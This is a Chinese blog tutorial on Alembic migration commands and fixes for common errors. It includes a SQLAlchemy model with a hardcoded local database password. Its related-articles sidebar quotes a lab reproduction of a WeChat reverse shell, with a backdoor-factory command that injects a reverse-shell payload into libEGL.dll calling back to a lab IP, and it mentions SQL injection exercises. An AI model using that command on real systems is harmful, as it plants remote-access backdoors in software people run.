四十八:数据库之alembic常用命令和经典错误的解决办法
常用命令:
1、init:创建一个alembic仓库
2、reversion:创建一个新的版本
3、--autogenerate:自动将当前模型的修改,生成迁移脚本
4、-m:message,可以记录本次迁移做了哪些修改,
5、upgrade:将指定版本的迁移文件映射到数据库中,会执行版本文件中的upgrade函数,如果有多个迁移脚本没有被映射到数据库,name会执行多个映射脚本
6、head:代表最新的迁移脚本的版本号
7、downgrade:会执行指定版本的迁移文件中的downgrade函数
8、heads:展示head指向的脚本文件版本号
9、history:列出所有的迁移版本及其信息
10、current:展示当前数据库中的版本号
经典错误:
1、FAILED:Target database is not up to date
原因:heads和current不同,current落后于heads的版本
解决办法:将current移动到head上:alembic upgrade head
2、FAILED:Can't locate revision identified by 'xxxx'
原因:数据库中存在的版本号不存在迁移脚本中
解决办法:删除数据库的alembic_version表中的数据,重新执行alembic upgrade head
3、执行alembic upgrade head时报某个表已存在的错误
原因:执行这个命令的时候,会执行所有的迁移脚本,因为数据库中已经存在了这个表,然后迁移脚本中又包含了创建表的代码
解决办法:1.删除versions中所有的迁移文件、2.修改迁移文件脚本中创建表的代码为pass
准备工作

from sqlalchemy import Column, String, Integer, create_engine
from sqlalchemy.ext.declarative import declarative_base # 数据库类型+连接数据库的插件,这里使用的pymysql
DB_URI = 'mysql+pymysql://root:123456@127.0.0.1:3306/test' engine = create_engine(DB_URI)
Base = declarative_base(engine) class User(Base):
__tablename__ = 'user'
id = Column(Integer, primary_key=True, autoincrement=True)
username = Column(String(50), nullable=False) def __repr__(self):
return f'username: {self.username}' Base.metadata.drop_all() # 删除所有表
Base.metadata.create_all() # 创建表
alembic revision --autogenerate -m 'first_commit'



alembic upgrade head(最新) 、 alembic upgrade version(指定版本)


增加字段



减少字段



查看历史版本

查看当前版本

四十八:数据库之alembic常用命令和经典错误的解决办法的更多相关文章
- alembic常用命令和经典错误解决办法
- 【Mongodb教程 第十八课 】MongoDB常用命令 数据库命令 集合操作命令
面向文档的 NoSQL 数据库主要解决的问题不是高性能的并发读写,而是保证海量数据存储的同时,具有良好的查询性能. 条件操作符 <, <=, >, >= 这个操作符就不用多 ...
- 十八. Python基础(18)常用模块
十八. Python基础(18)常用模块 1 ● 常用模块及其用途 collections模块: 一些扩展的数据类型→Counter, deque, defaultdict, namedtuple, ...
- NeHe OpenGL教程 第四十八课:轨迹球
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线 ...
- SQL注入之Sqli-labs系列第四十七关,第四十八关,第四十九关(ORDER BY注入)
0x1 源码区别点 将id变为字符型:$sql = "SELECT * FROM users ORDER BY '$id'"; 0x2实例测试 (1)and rand相结合的方式 ...
- 搜索引擎--范例:谈谈django--mysql数据库的一些常用命令
现在基本没有什么能离得开数据库了,django我一直用的都是mysql的数据库,这次和大家说说django--mysql数据库的一些常用命令吧 1:命令行登陆mysql C:\Users\Admini ...
- (十四--十五)数据库查询优化Part I
(十四--十五)数据库查询优化Part I 如果理解的有问题.欢迎大家指出.这也是我在看课记得笔记..可能会有很多问题 查询优化的重要性 请记住用户只会告诉DMBS他们想要什么样的结果,而不会告诉他们 ...
- 《手把手教你》系列技巧篇(四十八)-java+ selenium自动化测试-判断元素是否可操作(详解教程)
1.简介 webdriver有三种判断元素状态的方法,分别是isEnabled,isSelected 和 isDisplayed,其中isSelected在前面的内容中已经简单的介绍了,isSelec ...
- 第四十八个知识点:TPM的目的和使用方法
第四十八个知识点:TPM的目的和使用方法 在检查TPM目的之前,值得去尝试理解TPM设计出来的目的是为了克服什么样的问题.真正的问题是信任.信任什么?首先内存和软件运行在电脑上.这些东西能直接的通过操 ...
随机推荐
- vim编辑器学习
vim是一个非常强大的编辑器,看了很多文章能感受到它的强大,不过还需要不断地学习和使用来慢慢感受. 安装vim 在ubuntu 系统中使用 sudo apt-get install vim-gtk 安 ...
- 2019.10.9wechat反弹shell复现
./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...
- PAT Basic 1009 说反话 (20 分)
给定一句英语,要求你编写程序,将句中所有单词的顺序颠倒输出. 输入格式: 测试输入包含一个测试用例,在一行内给出总长度不超过 80 的字符串.字符串由若干单词和若干空格组成,其中单词是由英文字母(大小 ...
- 读《JavaScript面向对象编程指南》(一)
第二章 基础 通常认为在JavaScript中主要包括五种基本数据类型:数字.字符串.布尔值.undefined.null.任何不属于上述五种基本类型的值都被认为是一个对象. null和undefin ...
- Itextpdf + Adobe Acrobat DC填充模板生成pdf快速入门
Itextpdf + Adobe Acrobat DC填充模板生成pdf快速入门 生成pdf有很多种方法,如通过freemarker,或 使用itextpdf.本文将使用itextpdf生成pdf 1 ...
- SSH中直接运行php文件
cd /home/afish/domains/afish.cnblogs.com/public_htmlphp locoy_im_folder.php php locoy_im.php
- MyEclipse 2016 反编译插件安装
下载插件,分享一下下载插件的地址,百度网盘:链接:http://pan.baidu.com/s/1nturiAH 密码:yk73 1.把net.sf.jadclipse_3.3.0.jar拷到D:\P ...
- JavaWeb--ServletContext
https://www.jianshu.com/p/31d27181d542 java类中获取ServletContext的方法 起因是我想要获取一个相对路径,需要用到servletContext的g ...
- split 命令
最近下游一直说我供给的文件存在乱码,下游定位到了具体哪一条. 一个250w的数据量,有一条数据有问题.几百兆的文件用note去搜索. 我使用用notepad++后,发现根本打不开. 于是只能先拆分后用 ...
- Android APK 手动签名
首先,如果没有签名密钥,先生成密钥: keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore and ...